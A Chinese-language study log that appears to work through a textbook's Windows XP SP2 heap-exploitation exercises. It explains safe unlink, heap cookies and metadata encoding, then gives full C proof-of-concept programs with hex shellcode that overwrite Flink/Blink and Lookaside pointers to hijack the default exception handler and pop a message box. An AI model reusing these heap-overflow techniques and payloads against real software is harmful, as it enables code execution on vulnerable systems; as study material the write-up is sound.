堆保护机制的原理
PEB random:在Windows XP SP2之后,将PEB基地址前两个字节随机化。
Safe Unlink:在SP2 之前的链表拆卸操作类似于如下代码:
int remove (ListNode * node)
(
node -> blink->flink = node->flink;
node -> flink->blink = node->blink;
return 0;
)
SP2在进行删除操作时,将提前验证堆块前向指针和后向指针的完整性。
int safe_remove(ListNode * node)
(
if((node->blink->flink==node)&&(node->flink->blink==node))
(
node -> blink->flink = node->flink;
node -> flink->blink = node->blink;
return 1;
)
else
(
链表指针被破坏,进入异常
return 0;
)
)
heap cookie:cookie在堆首部分原堆块segment table的位置,占1个字节
如图所示
元数据加密:微软在WinVista及后续版本的操作系统中开始使用该安全措施。块首一些重要数据在保存时与一个4字节的随机数进行易或运算,使用这些数据时需要再进行一次易或来还原。
2 攻击堆中存储的变量
攻击堆中存储的内容,如重要的数据或结构指针
3 利用chunk重设大小攻击堆
链表发生插入操作:
1.内存释放后,chunk不再被使用,重新链入链表
2.chunk内存空间大于申请的空间时,剩余空间会被建立成一个新chunk,链入链表。
重设chunk的代码
#include <stdio.h>
#include <windows.h>
void main()
{
HLOCAL h1;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
}
1.查看 堆、FreeList[0]的起始位置:
堆的起始地址是0x003A0000
freelist[0]
明天继续
2017-8-9
将新chunk插入链表,修改chunk中下一chunk指针和上一chunk指针的开始
和我在博客上看到的一样,基址是7c920000+11513
7C931513 代码不对
按命令找
书里面很绕,按照博客里的说法,我们将旧chunk的Flink和Blink覆盖掉可能出现漏洞。
也就是说能找到旧chunk的Flink和Blink,然后覆盖掉就可能出现漏洞。
代码(根据环境,将39改为3A啦)
#include <stdio.h>
#include <windows.h>
void main()
{
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x10\x01\x10\x00\x99\x99\x99\x99"
"\xEB\x06\x39\x00\xEB\x06\x39\x00"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xEB\x31\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x11\x01\x10\x00\x99\x99\x99\x99\x8C\x06\x39\x00\xE4\xFF\x12\x00"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
HLOCAL h1,h2;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
memcpy(h1,shellcode,300);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
int zero=0;
zero=1/zero;
printf("%d",zero);
}
在memcpy处下断点
看到32字节的字符串,可以覆盖Flink和Blink了
原理在0day里讲的很清楚了
接下来需要修改的目标是异常处理,默认异常处理句柄的位置在0012FFE4
第一次实验,失败告终,T-T.(第二次实验,成功啦)和预期一致
得到的结果应该是
[003A06B8]=003A06EB
[003A06B8+4]=0012FFE4
[0012FFE4]=003A06B8
[003A06EB+4]=003A06B8
实验最后一步:布置可以弹出对话框的shellcode
代码布局如图所示
成功进入最终的异常处理程序执行
流程知道了,接下来调试调试,看看内部结构
在0x003906B8处中断,成功劫持程序流程
按F9 直接运行,出现failwest对话框
2 利用Lookaside表进行堆溢出
快表中单链表拆卸时没有验证
思路
代码
#include <stdio.h>
#include <windows.h>
void main()
{
char shellcode []=
"\xEB\x40\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充
"\x03\00\x03\x00\x5C\x01\x08\x99"//填充
"\xE4\xFF\x12\x00"//用默认异常处理函数指针所在位置覆盖
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"//填充
"\x90\x90\x90\x90"
"\xE4\xFF\x12\x00"
"\x90\x90\x90\x90\x90\x90\x90\x90"//填充
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
HLOCAL h1,h2,h3;
HANDLE hp;
hp = HeapCreate(0,0,0);
//__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
HeapFree(hp,0,h2);
HeapFree(hp,0,h3);
memcpy(h1,shellcode,300);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
memcpy(h3,"\x90\x1E\x3A\x00",4);
int zero=0;
zero=1/zero;
printf("%d",zero);
}
快表是什么?忘了,,先补一补,补充完毕
都是16字节
看看普通的堆块
空的
因为快表都是空的,我们先申请再释放,就优先释放到快表里,此外
此处申请的也是快表
查看指向下一堆块的指针
可以看出释放掉的两个堆都链进块表里了,lookaside->node[2]->node[1]
而node[1]就在h1之后,此处和博客里面做的实验结果有些不一样,需要覆盖掉
003A1EC0处的指针
稍微做修改后,成功